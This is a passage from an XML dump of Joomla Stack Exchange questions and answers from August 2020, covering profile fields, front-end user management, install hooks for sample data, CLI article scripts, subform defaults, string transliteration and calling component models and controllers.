[&amp;quot;profile&amp;quot;]=&amp;gt; array(1) {&#xA;         [&amp;quot;dob&amp;quot;]=&amp;gt; string(19) &amp;quot;2020-07-28 00:00:00&amp;quot;&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When logged as Adherent, the same code says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(Joomla\CMS\Object\CMSObject)#1412 (2) {&#xA;    [&amp;quot;_errors&amp;quot;:protected]=&amp;gt; array(0) { }&#xA;    [&amp;quot;id&amp;quot;]=&amp;gt; string(4) &amp;quot;2399&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14439" LastEditorUserId="12352" LastEditDate="2020-08-06T21:50:34.820" LastActivityDate="2020-08-07T08:13:28.163" Title="Can't display Extra field (Date of birth) when logged in as Registered user" Tags="|administrator|user|login|profile|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28345" PostTypeId="2" ParentId="28339" CreationDate="2020-08-05T11:50:43.543" Score="3" Body="&lt;p&gt;Toolbar isn't really supported in frontend. In backend it's rendered by &lt;code&gt;mod_toolbar&lt;/code&gt; module which is only available in backend.&lt;/p&gt;&#xA;&lt;p&gt;You can still render the toolbar in frontend using this code but it may not necessarily work correctly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo Joomla\CMS\Toolbar\Toolbar::getInstance('toolbar')-&amp;gt;render('toolbar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-08-05T14:23:06.500" LastActivityDate="2020-08-05T14:23:06.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28346" PostTypeId="1" CreationDate="2020-08-05T15:47:46.820" Score="4" ViewCount="468" Body="&lt;p&gt;Joomla 3.9.20&lt;/p&gt;&#xA;&lt;p&gt;I know there's no default way of managing Joomla &lt;strong&gt;users&lt;/strong&gt; on the front end (&lt;em&gt;a huge drawback of Joomla imo)&lt;/em&gt;. There appears to be some commercial extensions and components that do this, but they are all quite bulky and offer more than what I require.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to offer the ability to &lt;strong&gt;view&lt;/strong&gt; the same information in the image below (name, username, email, last visit date, registration date), and perhaps even toggle the 'Enabled' and 'Activated' status. Pagination of the user list is also required.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nLwH4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLwH4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm surprised this isn't a default module in Joomla at this stage. The functionality exists on the back end, i'm just not sure how I could (easily) reproduce in the front end?&lt;/p&gt;&#xA;&lt;p&gt;Has anyone been able to successfully develop anything that does this?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2020-08-06T08:56:57.983" LastActivityDate="2023-06-12T09:31:26.020" Title="Front End Management of Joomla Users" Tags="|joomla-3.x|extensions|custom-component|user|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28347" PostTypeId="2" ParentId="28346" CreationDate="2020-08-05T16:47:40.750" Score="3" Body="&lt;p&gt;This information does exist in the frontend model, but for whatever reason, isn't actually displayed.&lt;/p&gt;&#xA;&lt;p&gt;Copy &lt;code&gt;/components/com_users/views/profile/tmpl/default_core.php&lt;/code&gt; to you template directory, so &lt;code&gt;/templates/yourtemplate/html/com_users/profile/default_core.php&lt;/code&gt; and then in said template, you can dump the &lt;code&gt;data&lt;/code&gt; object which will show all of the above, and more.&lt;/p&gt;&#xA;&lt;p&gt;Dump the object using &lt;code&gt;&amp;lt;?php print_r($this-&amp;gt;data);?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then access the profile view using the profile URL: &lt;code&gt;index.php?option=com_users&amp;amp;view=profile&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-05T16:47:40.750" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28348" PostTypeId="1" CreationDate="2020-08-06T08:33:09.827" Score="0" ViewCount="106" Body="&lt;p&gt;I have a custom component for Joomla. I understand how to install some data using the sql file of component. Now I want to add some data to the database tables in a separate package. I can't find any documentation on this and I'm not sure what's the best way to do it.&lt;/p&gt;&#xA;&lt;p&gt;Would I need a separate plugin to install the data? Since it's only adding data to the database, I don't want to polute the plugin list with this. Because the data is added to the existing component tables, it's not something that should be managed or uninstalled after installation.&lt;/p&gt;&#xA;&lt;p&gt;Is there a package type that allows this?&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="12352" LastEditDate="2020-08-08T02:02:14.260" LastActivityDate="2020-08-08T02:02:14.260" Title="How to install custom component sample data?" Tags="|custom-component|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28349" PostTypeId="2" ParentId="28348" CreationDate="2020-08-06T09:05:09.263" Score="1" Body="&lt;p&gt;I think you are aware, that you can create hooks on install process.&lt;/p&gt;&#xA;&lt;p&gt;E.g. &lt;a href=&quot;https://docs.joomla.org/J2.5:Managing_Component_Updates_(Script.php)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J2.5:Managing_Component_Updates_(Script.php)&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is my approach, where I after install publish plugin as an example&#xA;&lt;a href=&quot;https://github.com/gruz/NotificationAry/blob/master/scriptfile.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gruz/NotificationAry/blob/master/scriptfile.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can use postflight hook in your demo data extension to uninstall itself programmatically.&lt;/p&gt;&#xA;&lt;p&gt;I did such a thing in the past but I don't have an example.&lt;/p&gt;&#xA;&lt;p&gt;Or you can, if you have a plugin you develop which assumed to be installed before the demo data extension install, in that plugin check what is installed and the uninstall that extension. There is a bunch of hooks for it.&#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events#Extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events#Extensions&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And, as an option, you can add an upload button to your component to upload test data and handle it in your component - get uploaded file, extract if needed, run queries from the file. Then no need with install-uninstall programmatically. I'd use such an apporach.&lt;/p&gt;&#xA;&lt;p&gt;But self-uninstall seems interesting to be implemented just for fun :-)&lt;/p&gt;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&lt;p&gt;A point to start looking how to self-uninstall.&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/44155005/joomla-3-xx-how-to-uninstall-and-install-component-or-package-programmatically#44203211&quot;&gt;https://stackoverflow.com/questions/44155005/joomla-3-xx-how-to-uninstall-and-install-component-or-package-programmatically#44203211&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or, dirty way, run query to remove corresponding record from #__extensions and unlink files. But I'd rather examine Joomla API and find a legal way to programmatically uninstall an extension.&lt;/p&gt;&#xA;&lt;p&gt;P.S.S.&#xA;&lt;a href=&quot;https://docs.joomla.org/Extension_Installer/Installer_Hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Extension_Installer/Installer_Hooks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;The preflight hook&lt;/strong&gt;&#xA;...&#xA;At this point you could conceivably prevent the installation by calling the abort mechanism from the parent or prepare anything ahead of the file copy and database changes occurring.&#xA;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As an option In preflight hook execute you demo data install code but return false to pervent your extension instllation. Add a message for a user &amp;quot;Demo data installed, ignore joomla error message on &lt;code&gt;failed installation&lt;/code&gt;&amp;quot;. :-)&lt;/p&gt;&#xA;" OwnerUserId="8616" LastEditorUserId="8616" LastEditDate="2020-08-06T10:10:18.117" LastActivityDate="2020-08-06T10:10:18.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28350" PostTypeId="2" ParentId="28344" CreationDate="2020-08-07T08:13:28.163" Score="1" Body="&lt;p&gt;Whenever you call &lt;code&gt;JUserHelper::getProfile()&lt;/code&gt; the code in that function triggers a Joomla event &lt;code&gt;'onContentPrepareData'&lt;/code&gt; to which the Joomla user plugin User - Profile subscribes. This plugin adds in the profile data which has been stored for this user and returns it as an array.&lt;/p&gt;&#xA;&lt;p&gt;However, plugins have an Access field which controls which User Groups have viewing access to that plugin. So if for example the Access is set to Super Users, then only users whose User Group(s) belongs to the Super Users Viewing Access Level will be able to include that plugin. For other users running the same code, the plugin will not be included, and the profile data won't be made available.&lt;/p&gt;&#xA;&lt;p&gt;To fix the issue go to Extensions / Plugins and find the User - Profile plugin. Click on it to edit it and set the Access field to Public (or whatever is appropriate for your case).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-08-07T08:13:28.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28351" PostTypeId="2" ParentId="28346" CreationDate="2020-08-07T08:56:40.593" Score="1" Body="&lt;p&gt;I developed and mantain the Frontend User Manager extension that can show exactly that listing in the frontpage.&lt;/p&gt;&#xA;&lt;p&gt;The current 0.0.6 stable release does exactly that and if you need user management in the front you can give a try to the 0.1.0alpha13 release.&lt;/p&gt;&#xA;" OwnerUserId="14318" LastActivityDate="2020-08-07T08:56:40.593" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28352" PostTypeId="1" CreationDate="2020-08-07T15:02:04.233" Score="1" ViewCount="118" Body="&lt;p&gt;I have an issue with a &lt;strong&gt;cli php script&lt;/strong&gt; that I'm trying to execute.&#xA;I want to add an article with &lt;em&gt;custom fields&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The part where I add articles is working well, but when I add the code to load the article I just stored and set its custom fields values, there is the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined method AddArticle::getTemplate(): &lt;strong&gt;JLIB_APPLICATION_ERROR_INVALID_CONTROLLER&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The error seems to be related to the following line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article_joom = JControllerLegacy::getInstance('Content')-&amp;gt;getModel('Article')-&amp;gt;getItem($article['id']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried to load the &lt;em&gt;ContentLoader&lt;/em&gt; class because someone said it would help, but it didn't really change anything.&lt;/p&gt;&#xA;&lt;p&gt;From what I've seen, I may not be able to use the JController on a cli script, but I haven't found another way to load articles.&lt;/p&gt;&#xA;" OwnerUserId="14444" LastEditorUserId="12352" LastEditDate="2020-08-08T01:58:09.853" LastActivityDate="2020-08-08T01:58:09.853" Title="Error JLIB_APPLICATION_ERROR_INVALID_CONTROLLER from CLI on Joomla 3.7" Tags="|articles|custom-field|controller|cli|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28353" PostTypeId="2" ParentId="28352" CreationDate="2020-08-07T15:38:32.340" Score="2" Body="&lt;p&gt;Start by updating to the latest version of Joomla - 3.9.20 - if you're able to first.&lt;/p&gt;&#xA;&lt;p&gt;A number of changes regarding JControllerLegacy were made in Joomla 3.8 (see &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/13683&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/13683&lt;/a&gt;) and so that is certainly worth investigating first.&lt;/p&gt;&#xA;&lt;p&gt;Next take a look at this post which relates to calling JController from CLI&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15238/call-controllers-publish-method-from-cli-or-helper&quot;&gt;Call Controller&amp;#39;s Publish-Method from CLI or Helper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-08-07T15:38:32.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28354" PostTypeId="2" ParentId="18257" CreationDate="2020-08-11T02:24:39.270" Score="2" Body="&lt;p&gt;I know this is an older question, but I stumbled across this asking the same question as above. I was running into the same page display issue with the &amp;quot;Guest&amp;quot; access permission. While the answer above was helpful, it did not accomplish the outcome I was looking for, right now I'm currently working on Joomla ‎(3.9.19). I found that I didn't need to change the page permissions at all, and if you go to &amp;quot;Menu&amp;gt;Main Menu&amp;gt;(Select the page you wish to hide)&amp;gt;Link Type&amp;gt;Display in Menu Switch to No.&amp;quot; It will hide the page from a registered user's menu.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure if this option was available at the time of the question was asked. But it is now, and I was able to accomplish the exact outcome I was looking for, which was to hide a menu item from a &amp;quot;Registered&amp;quot; user's menu while still allowing a &amp;quot;Registered&amp;quot; user to access the page via a dashboard button I created. Previously, when I had changed the user permission to, &amp;quot;Guest&amp;quot; the &amp;quot;Registered&amp;quot; user was getting a 403 error when clicking on the button I created that linked to the page I was hiding in the &amp;quot;Registered&amp;quot; user's menu.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CfYPL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfYPL.png&quot; alt=&quot;Display in Menu Switch reference&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14453" LastActivityDate="2020-08-11T02:24:39.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28356" PostTypeId="2" ParentId="28272" CreationDate="2020-08-11T13:01:16.173" Score="0" Body="&lt;p&gt;So, after having done some research and testing various things, I have an answer.&lt;/p&gt;&#xA;&lt;p&gt;I created a spin-off of my component and stripped it down to the bare minimum. Every file that would theoretically already by included in the core was removed, only the controllers/models/tables/views were kept. Ex: (items prefixed with × were deleted)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/script.php&#xA;/administrator&#xA;    /controllers&#xA;×       /controlpanel.php&#xA;        /bulletin.php&#xA;        /bulletinlist.php&#xA;×   /css&#xA;        /general.css&#xA;    /models&#xA;×       /controlpanel.php&#xA;        /bulletin.php&#xA;        /bulletinlist.php&#xA;    /tables&#xA;        /bulletin.php&#xA;    /views&#xA;×       /controlpanel&#xA;        /bulletin&#xA;        /bulletinlist&#xA;    /controller.php&#xA;    /core.php&#xA;    /model.php&#xA;    /view.php&#xA;×/languages&#xA;    /administrator&#xA;        /en-GB&#xA;            /en-GB.com_component.ini&#xA;    /site&#xA;        /en-GB&#xA;            /en-GB.com_component.ini&#xA;/site&#xA;    /controllers&#xA;        /bulletin.php&#xA;        /bulletinlist.php&#xA;    /models&#xA;        /bulletin.php&#xA;        /bulletinlist.php&#xA;    /views&#xA;        /bulletin&#xA;        /bulletinlist&#xA;    /controller.php&#xA;    /core.php&#xA;    /model.php&#xA;    /router.php&#xA;    /view.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the manifest file for the installation, it's important to also trim this down to the needed content, and make sure that &lt;code&gt;&amp;lt;extension&amp;gt;&lt;/code&gt; has the attribute &lt;code&gt;method=&amp;quot;upgrade&amp;quot;&lt;/code&gt;, otherwise Joomla will cancel the install due to the component already existing.&lt;/p&gt;&#xA;&lt;p&gt;Important things to note:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've tried several different attempts, not once was I able to get the&#xA;install package to run the install SQL file, I assume Joomla skips&#xA;this step because this is technically an upgrade. Any SQL changes&#xA;will need to be done directly in a script.php.&lt;/li&gt;&#xA;&lt;li&gt;Any file that already&#xA;exists will be overwritten, so for things like language files, you'll&#xA;need to setup a jank solution in script.php to append new JText lines&#xA;to the end of the installed language file&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;&amp;lt;administration&amp;gt;&lt;/code&gt; section of the manifest file, it's better to remove any reference to &lt;code&gt;&amp;lt;menu&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;submenu&amp;gt;&lt;/code&gt;, I've noticed that it will erase whatever menu items existed already to replace them with the structure included in the upgrade&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't have access to Joomla 4 at the moment to test if this will work there as well, but considering the wording in the Joomla documentation I don't see why it wouldn't work.&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;After testing some more, I've noticed that any file that is in the root of a folder (&lt;code&gt;/administrator&lt;/code&gt; or &lt;code&gt;/site&lt;/code&gt;) will be deleted if not referenced in the manifest file. It looks like those files will have to be included even if they aren't different from the core files.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="2081" LastEditDate="2020-08-12T12:21:36.143" LastActivityDate="2020-08-12T12:21:36.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28357" PostTypeId="1" CreationDate="2020-08-11T13:03:15.603" Score="2" ViewCount="58" Body="&lt;p&gt;Joomla 3.9.20&lt;/p&gt;&#xA;&lt;p&gt;What's the best way to automate a daily backup of a Joomla website (files, folders &amp;amp; db) to a development site on the same domain?&lt;/p&gt;&#xA;&lt;p&gt;For example, I have &lt;code&gt;example.com&lt;/code&gt; and each night I would like to take a snapshot of this and deploy it to &lt;code&gt;dev.example.com&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I use Akeeba Backup (Pro) in order to automate site backups, not sure if I can somehow use this along with custom scripting?&lt;/p&gt;&#xA;&lt;p&gt;The idea is to keep an exact copy of the live site on a development server for testing purposes.&lt;/p&gt;&#xA;&lt;p&gt;Currently I can use Akeeba in order to backup the site to another domain, but this involves running through the wizard again and setting up the db etc. Wondering if anyone else has been able to achieve something similar? I have some experience with master / slave replication in sql but not attempted this kind of replication before.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-08-11T13:03:15.603" Title="Joomla Site Replication &amp; Automation" Tags="|joomla-3.x|akeebabackup|backups|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28358" PostTypeId="1" CreationDate="2020-08-13T15:56:09.267" Score="2" ViewCount="231" Body="&lt;p&gt;CMS Joomla has a standard subform field type. How to fill in the default values in it?&lt;/p&gt;&#xA;&lt;p&gt;Field code in XML:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;field-name&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;formsource=&amp;quot;exampleform.xml&amp;quot; multiple=&amp;quot;true&amp;quot;&#xA;label=&amp;quot;Subform Field&amp;quot; description=&amp;quot;Subform Field Description&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Code exampleform.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;example_text&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Example Text&amp;quot; /&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;example_textarea&amp;quot; type=&amp;quot;textarea&amp;quot; label=&amp;quot;Example Textarea&amp;quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can't find the answer in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="14459" LastActivityDate="2022-05-05T23:05:10.490" Title="How to add default values to Joomla subform fields?" Tags="|joomla-3.x|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28359" PostTypeId="2" ParentId="28358" CreationDate="2020-08-13T18:50:16.923" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Text_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;default&lt;/strong&gt; (optional) (not translatable) is the default value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;mytextvalue&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;Some text&amp;quot; label=&amp;quot;Enter some text&amp;quot; description=&amp;quot;&amp;quot; size=&amp;quot;10&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;default=&amp;quot;Some text&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-08-13T18:50:16.923" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28360" PostTypeId="1" CreationDate="2020-08-14T14:47:48.977" Score="0" ViewCount="602" Body="&lt;p&gt;I'm working on SOAP method to update some values in some component.&lt;/p&gt;&#xA;&lt;p&gt;I need to trigger the &lt;code&gt;save()&lt;/code&gt; method from a controller of a particular component, but I'm unable to get an instance of the controller and then call the needed method from this instance in my function.&lt;/p&gt;&#xA;" OwnerUserId="14461" LastEditorUserId="12352" LastEditDate="2020-08-14T20:28:50.687" LastActivityDate="2020-08-16T20:46:32.477" Title="Trigger controller method from another component" Tags="|joomla-3.9|controller|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28361" PostTypeId="1" AcceptedAnswerId="28362" CreationDate="2020-08-14T21:20:21.103" Score="2" ViewCount="114" Body="&lt;p&gt;In my model i get content of input search, i just want to clean accented characters before doing a query. In Joomla! is-there a method to clean in string the accented characters ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2020-08-14T21:54:38.593" Title="Method to remove all accented characters from a string" Tags="|joomla-3.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28362" PostTypeId="2" ParentId="28361" CreationDate="2020-08-14T21:54:38.593" Score="3" Body="&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;....&#xA;        $lang = Factory::getLanguage();&#xA;        $lang-&amp;gt;transliterate($value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt; * This method processes a string and replaces all accented UTF-8 characters by unaccented&#xA; * ASCII-7 &amp;quot;equivalents&amp;quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or check the method code to be more granular:&#xA;libraries/src/Language/Language.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function transliterate($string)&#xA;    {&#xA;        if ($this-&amp;gt;transliterator !== null)&#xA;        {&#xA;            return call_user_func($this-&amp;gt;transliterator, $string);&#xA;        }&#xA;&#xA;        $string = Transliterate::utf8_latin_to_ascii($string);&#xA;        $string = StringHelper::strtolower($string);&#xA;&#xA;        return $string;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So you may go with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$string = Joomla\CMS\Language\Transliterate::utf8_latin_to_ascii($string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-08-14T21:54:38.593" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28363" PostTypeId="2" ParentId="189" CreationDate="2020-08-15T08:07:20.070" Score="2" Body="&lt;p&gt;You may get an error like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call to a member function load() on boolean&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That mean you need to add &lt;code&gt;JTable::addIncludePath&lt;/code&gt; also&lt;/p&gt;&#xA;&lt;p&gt;Admin Model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function getModelAdmin($component, $name = 'Custom', $prefix = 'CustomModel')&#xA;{&#xA;    JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/' . $component . '/tables', $prefix);&#xA;    JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/' . $component . '/models', $prefix);&#xA;    $model = JModelLegacy::getInstance($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;    return $model;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Site Model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function getModelSite($component, $name = 'Custom', $prefix = 'CustomModel')&#xA;{&#xA;    JTable::addIncludePath(JPATH_SITE . '/components/' . $component . '/tables', $prefix);&#xA;    JModelLegacy::addIncludePath(JPATH_SITE . '/components/' . $component . '/models', $prefix);&#xA;    $model = JModelLegacy::getInstance($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;    return $model;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7701" LastActivityDate="2020-08-15T08:07:20.070" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28364" PostTypeId="2" ParentId="28360" CreationDate="2020-08-16T15:19:07.903" Score="1" Body="&lt;p&gt;In Joomla when you call &lt;strong&gt;a controller's save() method&lt;/strong&gt; (usually it is a FormController if it has a save() method) the controller's save() method calls the corresponding Model right away and the &lt;strong&gt;validate()&lt;/strong&gt; and &lt;strong&gt;save()&lt;/strong&gt; methods of that &lt;strong&gt;Model.&lt;/strong&gt; Thus when you want to save something using a component's save() method it is better and more straightforward to call &lt;strong&gt;the component's Model and the save() method of that Model directly (not via a controller).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In my comment I've already placed an older link about &lt;strong&gt;how to include any Model&lt;/strong&gt; (and it's methods) in your extension, but now here I am giving an updated version of that:&lt;/p&gt;&#xA;&lt;p&gt;On the top of your file include:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm just giving an example of calling the &lt;strong&gt;Banner admin Model&lt;/strong&gt; from &lt;strong&gt;com_banners&lt;/strong&gt; extension of Joomla:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BaseDatabaseModel::addIncludePath($path = JPATH_ADMINISTRATOR . '/components/com_banners/models', $prefix = '');&#xA;$myModel = BaseDatabaseModel::getInstance('Banner', 'BannersModel');&#xA;&#xA;$myModel-&amp;gt;save($data); // you can save your data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.MVC.Model.BaseDatabaseModel.html#method_getInstance&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Link to BaseDatabaseModel Class&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you insist on using the Controller then you have to load the Controller class with the help of &lt;strong&gt;JLoader&lt;/strong&gt; class of Joomla. As an example I'm loading the Banner Controller here (from the admin side of Joomla):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register(&amp;quot;Banner&amp;quot;, JPATH_ADMINISTRATOR . '/components/com_banners/controllers/banner.php');&#xA;JLoader::load(&amp;quot;Banner&amp;quot;);&#xA;$myControllerClass = new BannersControllerBanner;&#xA;// $methods = get_class_methods($myControllerClass); // to check the available methods&#xA;// var_dump($methods);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Depending on where you load this class, you can use this with HTMLHelper class methods in your layouts (template files) too.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-08-16T20:46:32.477" LastActivityDate="2020-08-16T20:46:32.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28365" PostTypeId="1" AcceptedAnswerId="28366" CreationDate="2020-08-18T12:55:07.013" Score="1" ViewCount="31" Body="&lt;p&gt;I have two tables that are joined.  Both have an id column.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;-&amp;gt;select($db-&amp;gt;quoteName(array(&#xA;'a.id',&#xA;'a.address_one',&#xA;'a.address_three',&#xA;'a.address_two',&#xA;'b.id AS myStuff',&#xA;'b.person_id'&#xA;'b.packages_id',&#xA;'b.payment_date',&#xA;&#xA;)))&#xA;&#xA;-&amp;gt;from($db-&amp;gt;quoteName('#__person','a'))&#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__licence', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.person_id') . ')')&#xA;-&amp;gt;where($db-&amp;gt;quoteName('a.published') . ' = '. $db-&amp;gt;quote('1'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('b.published') . ' = '. $db-&amp;gt;quote('1'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However the AS clause doesn't work and throws an 